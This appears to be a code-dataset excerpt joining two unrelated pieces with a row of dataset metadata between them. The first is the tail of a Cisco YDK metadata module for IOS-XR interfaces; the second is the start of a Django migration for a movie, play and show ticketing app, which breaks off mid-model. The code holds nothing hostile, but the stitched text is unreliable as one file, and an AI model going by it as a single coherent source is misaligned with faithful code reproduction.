_MetaInfoClassMember('interface-type-description', ATTRIBUTE, 'str' , None, None,
[], [],
''' Description of the interface type
''',
'interface_type_description',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type-name', ATTRIBUTE, 'str' , None, None,
[], [],
''' Name of the interface type
''',
'interface_type_name',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-type',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces.InterfaceSummary' : {
'meta_info' : _MetaInfoClass('Interfaces.InterfaceSummary',
False,
[
_MetaInfoClassMember('interface-counts', REFERENCE_CLASS, 'InterfaceCounts' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceSummary.InterfaceCounts',
[], [],
''' Counts for all interfaces
''',
'interface_counts',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-type', REFERENCE_LIST, 'InterfaceType' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceSummary.InterfaceType',
[], [],
''' List of per interface type summary information
''',
'interface_type',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interface-summary',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
'Interfaces' : {
'meta_info' : _MetaInfoClass('Interfaces',
False,
[
_MetaInfoClassMember('interface-briefs', REFERENCE_CLASS, 'InterfaceBriefs' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceBriefs',
[], [],
''' Brief operational data for interfaces
''',
'interface_briefs',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-summary', REFERENCE_CLASS, 'InterfaceSummary' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceSummary',
[], [],
''' Interface summary information
''',
'interface_summary',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interface-xr', REFERENCE_CLASS, 'InterfaceXr' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InterfaceXr',
[], [],
''' Detailed operational data for interfaces and
configured features
''',
'interface_xr',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('interfaces', REFERENCE_CLASS, 'Interfaces_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.Interfaces_',
[], [],
''' Descriptions for interfaces
''',
'interfaces',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('inventory-summary', REFERENCE_CLASS, 'InventorySummary' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.InventorySummary',
[], [],
''' Inventory summary information
''',
'inventory_summary',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
_MetaInfoClassMember('node-type-sets', REFERENCE_CLASS, 'NodeTypeSets' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper', 'Interfaces.NodeTypeSets',
[], [],
''' Node and/or interface type specific view of
interface summary data
''',
'node_type_sets',
'Cisco-IOS-XR-pfi-im-cmd-oper', False),
],
'Cisco-IOS-XR-pfi-im-cmd-oper',
'interfaces',
_yang_ns._namespaces['Cisco-IOS-XR-pfi-im-cmd-oper'],
'ydk.models.cisco_ios_xr.Cisco_IOS_XR_pfi_im_cmd_oper'
),
},
}
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.LocalTrafficStack.LocalTrafficTag']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.LocalTrafficStack']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.TagsToMatch.VlanRange']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.TagsToMatch']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.LocalTrafficStack']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.TagsToMatch']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails.Pushe']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.Stack']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.ServiceInstanceDetails']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails.Dot1AdDot1QStack']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation.EncapsulationDetails']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.PppInformation.NcpInfoArray']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.PppInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.FrameRelayInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.Dot1QInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation.PppInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideA.AssertedFailure']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideA']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideB.AssertedFailure']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideB']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideA']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation.SideB']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo.LocalInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo.LocalInformation.RingNode']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo.LocalInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo.LocalInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo.NodesOnRing']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo.NodesNotOnRing']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo.SrrDetailedInfo']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.RateLimitInfo.RateLimitDetailedInfo']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.RateLimitInfo']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.IpsInfo']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.TopologyInfo']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.SrrInfo']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_.RateLimitInfo']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideADataRate']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideBDataRate']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideAErrors']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics.SideBErrors']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpInformation_']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation.SrpStatistics']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MemberMuxData.MemberMuxStateReasonData']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MemberMuxData']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.Counters']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.LinkData']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MemberMuxData']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member.MacAddress']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation.Member']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation.SourceIpAddress']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation.DestinationIpAddress']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SrpInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.BundleInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SerialInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.SonetPosInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.TunnelGreInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.PseudowireHeadEndInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.CemInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation.GccInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceStatistics.FullInterfaceStats']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceStatistics']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceStatistics.BasicInterfaceStats']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.InterfaceStatistics']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.ElementArray.BlockArray']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.ElementArray']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.StatsId']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.L2InterfaceStatistics']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.BlockArray']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.L2InterfaceStatistics']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.L2InterfaceStatistics.ElementArray']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface.L2InterfaceStatistics']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.DampeningInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.MacAddress']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.BurnedInAddress']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.CarrierDelay']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.ArpInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.IpInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.EncapsulationInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceTypeInformation']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.DataRates']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.InterfaceStatistics']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.L2InterfaceStatistics']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface.NvOptical']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr.Interface']['meta_info']
_meta_table['Interfaces.InterfaceXr.Interface']['meta_info'].parent =_meta_table['Interfaces.InterfaceXr']['meta_info']
_meta_table['Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceType.InterfaceCounts']['meta_info'].parent =_meta_table['Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceType']['meta_info']
_meta_table['Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceCounts']['meta_info'].parent =_meta_table['Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary']['meta_info']
_meta_table['Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary.InterfaceType']['meta_info'].parent =_meta_table['Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary']['meta_info']
_meta_table['Interfaces.NodeTypeSets.NodeTypeSet.InterfaceSummary']['meta_info'].parent =_meta_table['Interfaces.NodeTypeSets.NodeTypeSet']['meta_info']
_meta_table['Interfaces.NodeTypeSets.NodeTypeSet']['meta_info'].parent =_meta_table['Interfaces.NodeTypeSets']['meta_info']
_meta_table['Interfaces.InterfaceBriefs.InterfaceBrief']['meta_info'].parent =_meta_table['Interfaces.InterfaceBriefs']['meta_info']
_meta_table['Interfaces.InventorySummary.InterfaceType.InterfaceCounts']['meta_info'].parent =_meta_table['Interfaces.InventorySummary.InterfaceType']['meta_info']
_meta_table['Interfaces.InventorySummary.InterfaceCounts']['meta_info'].parent =_meta_table['Interfaces.InventorySummary']['meta_info']
_meta_table['Interfaces.InventorySummary.InterfaceType']['meta_info'].parent =_meta_table['Interfaces.InventorySummary']['meta_info']
_meta_table['Interfaces.Interfaces_.Interface']['meta_info'].parent =_meta_table['Interfaces.Interfaces_']['meta_info']
_meta_table['Interfaces.InterfaceSummary.InterfaceType.InterfaceCounts']['meta_info'].parent =_meta_table['Interfaces.InterfaceSummary.InterfaceType']['meta_info']
_meta_table['Interfaces.InterfaceSummary.InterfaceCounts']['meta_info'].parent =_meta_table['Interfaces.InterfaceSummary']['meta_info']
_meta_table['Interfaces.InterfaceSummary.InterfaceType']['meta_info'].parent =_meta_table['Interfaces.InterfaceSummary']['meta_info']
_meta_table['Interfaces.InterfaceXr']['meta_info'].parent =_meta_table['Interfaces']['meta_info']
_meta_table['Interfaces.NodeTypeSets']['meta_info'].parent =_meta_table['Interfaces']['meta_info']
_meta_table['Interfaces.InterfaceBriefs']['meta_info'].parent =_meta_table['Interfaces']['meta_info']
_meta_table['Interfaces.InventorySummary']['meta_info'].parent =_meta_table['Interfaces']['meta_info']
_meta_table['Interfaces.Interfaces_']['meta_info'].parent =_meta_table['Interfaces']['meta_info']
_meta_table['Interfaces.InterfaceSummary']['meta_info'].parent =_meta_table['Interfaces']['meta_info']
| 58.973856 | 353 | 0.564416 | 29,822 | 297,759 | 5.367212 | 0.033365 | 0.069424 | 0.086779 | 0.088366 | 0.90841 | 0.891479 | 0.874073 | 0.838287 | 0.804643 | 0.752813 | 0 | 0.040499 | 0.294057 | 297,759 | 5,048 | 354 | 58.985539 | 0.720967 | 0 | 0 | 0.476446 | 0 | 0.006921 | 0.532405 | 0.434989 | 0 | 0 | 0 | 0 | 0.002679 | 1 | 0 | false | 0 | 0.001786 | 0 | 0.001786 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
a62c33095e980187b95abc1f88b9f23bd677b326 | 10,218 | py | Python | ticketflix/spectacle/migrations/0001_initial.py | DSW-2018-2/Arquitetura-Desenho-2018-2 | d417895904c1a12ba2a9d761d7e60be77b7bcac2 | [
"MIT"
] | 3 | 2018-12-12T09:56:36.000Z | 2021-11-24T00:03:07.000Z | ticketflix/spectacle/migrations/0001_initial.py | DSW-2018-2/Ticketflix | d417895904c1a12ba2a9d761d7e60be77b7bcac2 | [
"MIT"
] | 20 | 2018-08-23T11:31:11.000Z | 2018-11-22T20:44:09.000Z | ticketflix/spectacle/migrations/0001_initial.py | DSW-2018-2/Arquitetura-Desenho-2018-2 | d417895904c1a12ba2a9d761d7e60be77b7bcac2 | [
"MIT"
] | 2 | 2018-12-14T09:11:05.000Z | 2020-08-06T22:45:12.000Z | # Generated by Django 2.0.8 on 2018-11-13 17:07
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Movie',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(default='', help_text='Nome da Espetáculo', max_length=100, verbose_name='Nome')),
('status', models.CharField(choices=[('PREESTREIA', 'Pré-Estréia'), ('EMCARTAZ', 'Em Cartaz'), ('LANCAMENTO', 'Lançamento'), ('FORACARTAZ', 'Fora de Cartaz'), ('EMBREVE', 'Em Breve')], default='EMBREVE', help_text='Status do Espetáculo', max_length=15, verbose_name='Status do Espetáculo')),
('poster', models.ImageField(blank=True, help_text='Poster do Espetáculo', max_length=500, null=True, upload_to='media/', verbose_name='Poster')),
('duration', models.PositiveIntegerField(default=0, help_text='Duração do Espetáculo em minutos', verbose_name='Duração')),
('classification', models.CharField(choices=[('LIVRE', 'Livre'), ('10ANOS', '10 Anos'), ('12ANOS', '12 Anos'), ('14ANOS', '14 Anos'), ('16ANOS', '16 Anos'), ('MAIORES18', 'Maiores de 18 Anos')], default='LIVRE', help_text='Classificação Indicativa do Espetáculo', max_length=20, verbose_name='Classificação Indicativa')),
('spectacle_type', models.CharField(choices=[('FILME', 'Filme'), ('SHOW', 'Show'), ('PECA', 'Peça Teatral'), ('NA', 'N/A')], default='NA', help_text='Tipo do Espetáculo', max_length=15, verbose_name='Tipo do Espetáculo')),
('synopsis', models.TextField(default='', help_text='Sinopse do Filme', max_length=500, verbose_name='Sinopse')),
('diretor', models.CharField(default='', help_text='Diretor do Filme', max_length=255, verbose_name='Diretor')),
('cast', models.TextField(default='', help_text='Elenco participante do Filme', max_length=500, verbose_name='Elenco')),
('producer', models.CharField(default='', help_text='Produtor do Filme', max_length=255, verbose_name='Produtor')),
('writer', models.CharField(default='', help_text='Escritor do Filme', max_length=255, verbose_name='Escritor')),
('gender', models.CharField(choices=[('ANIMACAO', 'Animação'), ('ACAO', 'Ação'), ('BIOGRAFIA', 'Biografia'), ('COMEDIA', 'Comédia'), ('DOCUMENTARIO', 'Documentário'), ('DRAMA', 'Drama'), ('FICCAO', 'Ficção Científica'), ('MUSICAL', 'Musical'), ('NA', 'N/A'), ('ROMANCE', 'Romance'), ('SUSPENSE', 'Suspense'), ('TERROR', 'Terror')], default='NA', help_text='Genêro do Filme', max_length=20, verbose_name='Genêro')),
('trailer', models.CharField(default='', help_text='Link do Trailer do Filme', max_length=255, verbose_name='Trailer')),
],
options={
'verbose_name': 'Filme',
'verbose_name_plural': 'Filmes',
},
),
migrations.CreateModel(
name='Play',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(default='', help_text='Nome da Espetáculo', max_length=100, verbose_name='Nome')),
('status', models.CharField(choices=[('PREESTREIA', 'Pré-Estréia'), ('EMCARTAZ', 'Em Cartaz'), ('LANCAMENTO', 'Lançamento'), ('FORACARTAZ', 'Fora de Cartaz'), ('EMBREVE', 'Em Breve')], default='EMBREVE', help_text='Status do Espetáculo', max_length=15, verbose_name='Status do Espetáculo')),
('poster', models.ImageField(blank=True, help_text='Poster do Espetáculo', max_length=500, null=True, upload_to='media/', verbose_name='Poster')),
('duration', models.PositiveIntegerField(default=0, help_text='Duração do Espetáculo em minutos', verbose_name='Duração')),
('classification', models.CharField(choices=[('LIVRE', 'Livre'), ('10ANOS', '10 Anos'), ('12ANOS', '12 Anos'), ('14ANOS', '14 Anos'), ('16ANOS', '16 Anos'), ('MAIORES18', 'Maiores de 18 Anos')], default='LIVRE', help_text='Classificação Indicativa do Espetáculo', max_length=20, verbose_name='Classificação Indicativa')),
('spectacle_type', models.CharField(choices=[('FILME', 'Filme'), ('SHOW', 'Show'), ('PECA', 'Peça Teatral'), ('NA', 'N/A')], default='NA', help_text='Tipo do Espetáculo', max_length=15, verbose_name='Tipo do Espetáculo')),
('synopsis', models.TextField(default='', help_text='Sinopse do Peça', max_length=500, verbose_name='Sinopse')),
('diretor', models.CharField(default='', help_text='Diretor do Peça', max_length=255, verbose_name='Diretor')),
('cast', models.TextField(default='', help_text='Elenco participante do Peça', max_length=500, verbose_name='Elenco')),
('writer', models.CharField(default='', help_text='Escritor do Peça', max_length=255, verbose_name='Escritor')),
('producer', models.CharField(default='', help_text='Produtor do Peça', max_length=255, verbose_name='Produtor')),
('gender', models.CharField(choices=[('AUTO', 'Auto'), ('BURLESCO', 'Burlesco'), ('CIRCENSE', 'Circense'), ('COMEDIA', 'Comédia'), ('DRAMA', 'Drama'), ('FARSA', 'Farsa'), ('MIMICA', 'Mímica'), ('MUSAICAL', 'Musical'), ('OUTROS', 'Outros'), ('TRAGEDIA', 'Tragédia'), ('TRAGICOMEDIA', 'Tragicomédia')], default='OUTROS', help_text='Genêro do Peça', max_length=15, verbose_name='Genêro')),
],
options={
'verbose_name': 'Peça Teatral',
'verbose_name_plural': 'Peças Teatrais',
},
),
migrations.CreateModel(
name='Show',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(default='', help_text='Nome da Espetáculo', max_length=100, verbose_name='Nome')),
('status', models.CharField(choices=[('PREESTREIA', 'Pré-Estréia'), ('EMCARTAZ', 'Em Cartaz'), ('LANCAMENTO', 'Lançamento'), ('FORACARTAZ', 'Fora de Cartaz'), ('EMBREVE', 'Em Breve')], default='EMBREVE', help_text='Status do Espetáculo', max_length=15, verbose_name='Status do Espetáculo')),
('poster', models.ImageField(blank=True, help_text='Poster do Espetáculo', max_length=500, null=True, upload_to='media/', verbose_name='Poster')),
('duration', models.PositiveIntegerField(default=0, help_text='Duração do Espetáculo em minutos', verbose_name='Duração')),
